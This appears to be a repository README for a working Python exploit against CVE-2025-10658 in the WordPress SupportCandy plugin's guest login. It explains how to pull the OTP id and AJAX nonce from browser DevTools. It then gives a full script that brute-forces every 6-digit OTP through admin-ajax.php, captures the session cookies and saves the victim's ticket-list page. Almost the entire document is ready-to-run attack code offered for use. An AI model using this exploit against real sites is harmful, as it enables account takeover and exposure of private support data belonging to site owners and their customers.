jfriedli/cve-2025-10658Python exploit script for CVE-2025-10658: brute-forces 6-digit OTP in WordPress SupportCandy guest login to achieve full account takeover via admin-ajax.php endpoint.
/support/
[email protected])In DevTools → Network → admin-ajax.php?action=wpsc_authenticate_guest_login response:
<input type="hidden" name="otp_id" value="NN">
<input type="hidden" name="_ajax_nonce" value="XXXXXXXXXX">
Save:
OTP_IDNONCE#!/usr/bin/env python3
import requests, time, sys
ORIGIN = "http://localhost/wordpress"
OTP_ID = 22 # extracted otp_id
NONCE = "f2349a6ac9" # extracted nonce
START = 0
END = 999999
RATE = 25 # requests per second
AJAX = ORIGIN.rstrip("/") + "/wp-admin/admin-ajax.php"
def try_code(sess, code):
r = sess.post(AJAX, data={
"action": "wpsc_confirm_guest_login",
"otp": code,
"otp_id": str(OTP_ID),
"_ajax_nonce": NONCE,
}, timeout=10)
try:
j = r.json()
except Exception:
return False, None
return (j.get("isSuccess") == 1), j
def main():
s = requests.Session()
interval = 1.0 / max(RATE, 1)
for n in range(START, END + 1):
code = f"{n:06d}"
ok, _ = try_code(s, code)
if ok:
print(f"[+] OTP cracked: {code}")
print("[i] Cookies:", s.cookies.get_dict())
# Access authenticated page
page = s.get(ORIGIN + "/support/?wpsc-section=ticket-list")
open("with_cookie.html", "wb").write(page.content)
sys.exit(0)
if n % 1000 == 0:
print(f"[*] Tried {n} codes...")
time.sleep(interval)
print("[!] Exhausted range")
if __name__ == "__main__":
main()
Run:
python sc_guest_bruteforce_linear.py